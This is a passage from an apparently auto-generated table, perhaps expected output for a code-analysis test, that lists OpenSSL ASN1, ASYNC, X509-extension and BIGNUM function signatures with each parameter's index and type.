(ASN1_STRING *) | | ASN1_PRINTABLE_free | 0 | ASN1_STRING * | +| (ASN1_STRING *) | | ASN1_STRING_data | 0 | ASN1_STRING * | +| (ASN1_STRING *) | | DIRECTORYSTRING_free | 0 | ASN1_STRING * | +| (ASN1_STRING *) | | DISPLAYTEXT_free | 0 | ASN1_STRING * | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLE | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLE | 1 | const unsigned char ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLE | 2 | long | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DIRECTORYSTRING | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DIRECTORYSTRING | 1 | const unsigned char ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DIRECTORYSTRING | 2 | long | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DISPLAYTEXT | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DISPLAYTEXT | 1 | const unsigned char ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DISPLAYTEXT | 2 | long | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 1 | const unsigned char * | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 2 | int | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 3 | int | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 4 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 1 | const unsigned char * | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 2 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 3 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 4 | unsigned long | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 1 | const unsigned char * | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 2 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 3 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 4 | unsigned long | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 5 | long | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 6 | long | +| (ASN1_STRING *,const ASN1_STRING *) | | ASN1_STRING_copy | 0 | ASN1_STRING * | +| (ASN1_STRING *,const ASN1_STRING *) | | ASN1_STRING_copy | 1 | const ASN1_STRING * | +| (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 0 | ASN1_STRING * | +| (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 1 | const void * | +| (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | int | +| (ASN1_STRING *,int) | | ASN1_STRING_length_set | 0 | ASN1_STRING * | +| (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | int | +| (ASN1_STRING *,unsigned int) | | ossl_asn1_string_set_bits_left | 0 | ASN1_STRING * | +| (ASN1_STRING *,unsigned int) | | ossl_asn1_string_set_bits_left | 1 | unsigned int | +| (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 0 | ASN1_STRING * | +| (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 1 | void * | +| (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | int | +| (ASN1_T61STRING **,const unsigned char **,long) | | d2i_ASN1_T61STRING | 0 | ASN1_T61STRING ** | +| (ASN1_T61STRING **,const unsigned char **,long) | | d2i_ASN1_T61STRING | 1 | const unsigned char ** | +| (ASN1_T61STRING **,const unsigned char **,long) | | d2i_ASN1_T61STRING | 2 | long | +| (ASN1_TIME *) | | ASN1_TIME_free | 0 | ASN1_TIME * | +| (ASN1_TIME *) | | ASN1_TIME_normalize | 0 | ASN1_TIME * | +| (ASN1_TIME **,const unsigned char **,long) | | d2i_ASN1_TIME | 0 | ASN1_TIME ** | +| (ASN1_TIME **,const unsigned char **,long) | | d2i_ASN1_TIME | 1 | const unsigned char ** | +| (ASN1_TIME **,const unsigned char **,long) | | d2i_ASN1_TIME | 2 | long | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 0 | ASN1_TIME ** | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 1 | int * | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 2 | ASN1_OBJECT ** | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 3 | ASN1_GENERALIZEDTIME ** | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 4 | const char * | +| (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 0 | ASN1_TIME * | +| (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | const char * | +| (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 0 | ASN1_TIME * | +| (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | const char * | +| (ASN1_TIME *,int,long,time_t *) | | X509_time_adj_ex | 0 | ASN1_TIME * | +| (ASN1_TIME *,int,long,time_t *) | | X509_time_adj_ex | 1 | int | +| (ASN1_TIME *,int,long,time_t *) | | X509_time_adj_ex | 2 | long | +| (ASN1_TIME *,int,long,time_t *) | | X509_time_adj_ex | 3 | time_t * | +| (ASN1_TIME *,long) | | X509_gmtime_adj | 0 | ASN1_TIME * | +| (ASN1_TIME *,long) | | X509_gmtime_adj | 1 | long | +| (ASN1_TIME *,long,time_t *) | | X509_time_adj | 0 | ASN1_TIME * | +| (ASN1_TIME *,long,time_t *) | | X509_time_adj | 1 | long | +| (ASN1_TIME *,long,time_t *) | | X509_time_adj | 2 | time_t * | +| (ASN1_TIME *,time_t) | | ASN1_TIME_set | 0 | ASN1_TIME * | +| (ASN1_TIME *,time_t) | | ASN1_TIME_set | 1 | time_t | +| (ASN1_TIME *,time_t,int,long) | | ASN1_TIME_adj | 0 | ASN1_TIME * | +| (ASN1_TIME *,time_t,int,long) | | ASN1_TIME_adj | 1 | time_t | +| (ASN1_TIME *,time_t,int,long) | | ASN1_TIME_adj | 2 | int | +| (ASN1_TIME *,time_t,int,long) | | ASN1_TIME_adj | 3 | long | +| (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 0 | ASN1_TIME * | +| (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 1 | tm * | +| (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | int | +| (ASN1_TYPE *) | | ASN1_TYPE_free | 0 | ASN1_TYPE * | +| (ASN1_TYPE **,const unsigned char **,long) | | d2i_ASN1_TYPE | 0 | ASN1_TYPE ** | +| (ASN1_TYPE **,const unsigned char **,long) | | d2i_ASN1_TYPE | 1 | const unsigned char ** | +| (ASN1_TYPE **,const unsigned char **,long) | | d2i_ASN1_TYPE | 2 | long | +| (ASN1_TYPE *,int,const void *) | | ASN1_TYPE_set1 | 0 | ASN1_TYPE * | +| (ASN1_TYPE *,int,const void *) | | ASN1_TYPE_set1 | 1 | int | +| (ASN1_TYPE *,int,const void *) | | ASN1_TYPE_set1 | 2 | const void * | +| (ASN1_TYPE *,int,void *) | | ASN1_TYPE_set | 0 | ASN1_TYPE * | +| (ASN1_TYPE *,int,void *) | | ASN1_TYPE_set | 1 | int | +| (ASN1_TYPE *,int,void *) | | ASN1_TYPE_set | 2 | void * | +| (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 0 | ASN1_TYPE * | +| (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 1 | unsigned char * | +| (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | int | +| (ASN1_UNIVERSALSTRING **,const unsigned char **,long) | | d2i_ASN1_UNIVERSALSTRING | 0 | ASN1_UNIVERSALSTRING ** | +| (ASN1_UNIVERSALSTRING **,const unsigned char **,long) | | d2i_ASN1_UNIVERSALSTRING | 1 | const unsigned char ** | +| (ASN1_UNIVERSALSTRING **,const unsigned char **,long) | | d2i_ASN1_UNIVERSALSTRING | 2 | long | +| (ASN1_UTCTIME **,const unsigned char **,long) | | d2i_ASN1_UTCTIME | 0 | ASN1_UTCTIME ** | +| (ASN1_UTCTIME **,const unsigned char **,long) | | d2i_ASN1_UTCTIME | 1 | const unsigned char ** | +| (ASN1_UTCTIME **,const unsigned char **,long) | | d2i_ASN1_UTCTIME | 2 | long | +| (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 0 | ASN1_UTCTIME * | +| (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | const char * | +| (ASN1_UTCTIME *,time_t) | | ASN1_UTCTIME_set | 0 | ASN1_UTCTIME * | +| (ASN1_UTCTIME *,time_t) | | ASN1_UTCTIME_set | 1 | time_t | +| (ASN1_UTCTIME *,time_t,int,long) | | ASN1_UTCTIME_adj | 0 | ASN1_UTCTIME * | +| (ASN1_UTCTIME *,time_t,int,long) | | ASN1_UTCTIME_adj | 1 | time_t | +| (ASN1_UTCTIME *,time_t,int,long) | | ASN1_UTCTIME_adj | 2 | int | +| (ASN1_UTCTIME *,time_t,int,long) | | ASN1_UTCTIME_adj | 3 | long | +| (ASN1_UTF8STRING **,const unsigned char **,long) | | d2i_ASN1_UTF8STRING | 0 | ASN1_UTF8STRING ** | +| (ASN1_UTF8STRING **,const unsigned char **,long) | | d2i_ASN1_UTF8STRING | 1 | const unsigned char ** | +| (ASN1_UTF8STRING **,const unsigned char **,long) | | d2i_ASN1_UTF8STRING | 2 | long | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ASN1_item_ex_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ASN1_item_ex_free | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ASN1_item_ex_new | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ASN1_item_ex_new | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_free | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_init | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_init | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_get_choice_selector | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_get_choice_selector | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_ex_new_intern | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_ex_new_intern | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_ex_new_intern | 2 | OSSL_LIB_CTX * | +| (ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_ex_new_intern | 3 | const char * | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | int | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | int | +| (ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_get_field_ptr | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_get_field_ptr | 1 | const ASN1_TEMPLATE * | +| (ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_template_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_template_free | 1 | const ASN1_TEMPLATE * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *) | | ASN1_item_d2i | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *) | | ASN1_item_d2i | 1 | const unsigned char ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *) | | ASN1_item_d2i | 2 | long | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *) | | ASN1_item_d2i | 3 | const ASN1_ITEM * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 1 | const unsigned char ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 2 | long | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 3 | const ASN1_ITEM * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 4 | OSSL_LIB_CTX * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 5 | const char * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 1 | const unsigned char ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 2 | long | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 3 | const ASN1_ITEM * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 4 | int | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 5 | int | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 6 | char | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 7 | ASN1_TLC * | +| (ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *) | | ossl_asn1_enc_save | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *) | | ossl_asn1_enc_save | 1 | const unsigned char * | +| (ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *) | | ossl_asn1_enc_save | 2 | int | +| (ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *) | | ossl_asn1_enc_save | 3 | const ASN1_ITEM * | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_do_lock | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_do_lock | 1 | int | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_do_lock | 2 | const ASN1_ITEM * | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_set_choice_selector | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_set_choice_selector | 1 | int | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_set_choice_selector | 2 | const ASN1_ITEM * | +| (ASN1_VALUE *,const ASN1_ITEM *) | | ASN1_item_free | 0 | ASN1_VALUE * | +| (ASN1_VALUE *,const ASN1_ITEM *) | | ASN1_item_free | 1 | const ASN1_ITEM * | +| (ASN1_VISIBLESTRING **,const unsigned char **,long) | | d2i_ASN1_VISIBLESTRING | 0 | ASN1_VISIBLESTRING ** | +| (ASN1_VISIBLESTRING **,const unsigned char **,long) | | d2i_ASN1_VISIBLESTRING | 1 | const unsigned char ** | +| (ASN1_VISIBLESTRING **,const unsigned char **,long) | | d2i_ASN1_VISIBLESTRING | 2 | long | +| (ASRange *) | | ASRange_free | 0 | ASRange * | +| (ASRange **,const unsigned char **,long) | | d2i_ASRange | 0 | ASRange ** | +| (ASRange **,const unsigned char **,long) | | d2i_ASRange | 1 | const unsigned char ** | +| (ASRange **,const unsigned char **,long) | | d2i_ASRange | 2 | long | +| (ASYNC_JOB *) | | ASYNC_get_wait_ctx | 0 | ASYNC_JOB * | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 0 | ASYNC_JOB ** | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 1 | ASYNC_WAIT_CTX * | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 2 | int * | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 3 | ..(*)(..) | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 4 | void * | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 5 | size_t | +| (ASYNC_WAIT_CTX *) | | ASYNC_WAIT_CTX_get_status | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *) | | async_wait_ctx_reset_counts | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **) | | ASYNC_WAIT_CTX_get_callback | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **) | | ASYNC_WAIT_CTX_get_callback | 1 | ASYNC_callback_fn * | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **) | | ASYNC_WAIT_CTX_get_callback | 2 | void ** | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *) | | ASYNC_WAIT_CTX_set_callback | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *) | | ASYNC_WAIT_CTX_set_callback | 1 | ASYNC_callback_fn | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *) | | ASYNC_WAIT_CTX_set_callback | 2 | void * | +| (ASYNC_WAIT_CTX *,const void *,int *,void **) | | ASYNC_WAIT_CTX_get_fd | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,const void *,int *,void **) | | ASYNC_WAIT_CTX_get_fd | 1 | const void * | +| (ASYNC_WAIT_CTX *,const void *,int *,void **) | | ASYNC_WAIT_CTX_get_fd | 2 | int * | +| (ASYNC_WAIT_CTX *,const void *,int *,void **) | | ASYNC_WAIT_CTX_get_fd | 3 | void ** | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 1 | const void * | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 2 | int | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 3 | void * | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 4 | ..(*)(..) | +| (ASYNC_WAIT_CTX *,int *,size_t *) | | ASYNC_WAIT_CTX_get_all_fds | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,int *,size_t *) | | ASYNC_WAIT_CTX_get_all_fds | 1 | int * | +| (ASYNC_WAIT_CTX *,int *,size_t *) | | ASYNC_WAIT_CTX_get_all_fds | 2 | size_t * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 1 | int * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 2 | size_t * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 3 | int * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 4 | size_t * | +| (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | int | +| (AUTHORITY_INFO_ACCESS *) | | AUTHORITY_INFO_ACCESS_free | 0 | AUTHORITY_INFO_ACCESS * | +| (AUTHORITY_INFO_ACCESS **,const unsigned char **,long) | | d2i_AUTHORITY_INFO_ACCESS | 0 | AUTHORITY_INFO_ACCESS ** | +| (AUTHORITY_INFO_ACCESS **,const unsigned char **,long) | | d2i_AUTHORITY_INFO_ACCESS | 1 | const unsigned char ** | +| (AUTHORITY_INFO_ACCESS **,const unsigned char **,long) | | d2i_AUTHORITY_INFO_ACCESS | 2 | long | +| (AUTHORITY_KEYID *) | | AUTHORITY_KEYID_free | 0 | AUTHORITY_KEYID * | +| (AUTHORITY_KEYID **,const unsigned char **,long) | | d2i_AUTHORITY_KEYID | 0 | AUTHORITY_KEYID ** | +| (AUTHORITY_KEYID **,const unsigned char **,long) | | d2i_AUTHORITY_KEYID | 1 | const unsigned char ** | +| (AUTHORITY_KEYID **,const unsigned char **,long) | | d2i_AUTHORITY_KEYID | 2 | long | +| (BASIC_CONSTRAINTS *) | | BASIC_CONSTRAINTS_free | 0 | BASIC_CONSTRAINTS * | +| (BASIC_CONSTRAINTS **,const unsigned char **,long) | | d2i_BASIC_CONSTRAINTS | 0 | BASIC_CONSTRAINTS ** | +| (BASIC_CONSTRAINTS **,const unsigned char **,long) | | d2i_BASIC_CONSTRAINTS | 1 | const unsigned char ** | +| (BASIC_CONSTRAINTS **,const unsigned char **,long) | | d2i_BASIC_CONSTRAINTS | 2 | long | +| (BIGNUM *) | | BN_get_rfc2409_prime_768 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc2409_prime_1024 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_1536 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_2048 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_3072 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_4096 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_6144 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_8192 | 0 | BIGNUM * | +| (BIGNUM **,const char *) | | BN_asc2bn | 0 | BIGNUM ** | +| (BIGNUM **,const char *) | | BN_asc2bn | 1 | const char * | +| (BIGNUM **,const char *) | | BN_dec2bn | 0 | BIGNUM ** | +| (BIGNUM **,const char *) | | BN_dec2bn | 1 | const char * | +| (BIGNUM **,const char *) | | BN_hex2bn | 0 | BIGNUM ** | +| (BIGNUM **,const char *) | | BN_hex2bn | 1 | const char * | +| (BIGNUM *,ASN1_INTEGER *) | | rand_serial | 0 | BIGNUM * | +| (BIGNUM *,ASN1_INTEGER *) | | rand_serial | 1 | ASN1_INTEGER * | +| (BIGNUM *,BIGNUM *) | | BN_swap | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *) | | BN_swap | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 2 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 3 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 4 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 5 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 6 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 7 | BN_CTX * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 8 | BN_GENCB * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 2 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 3 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 4 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 5 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 6 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM 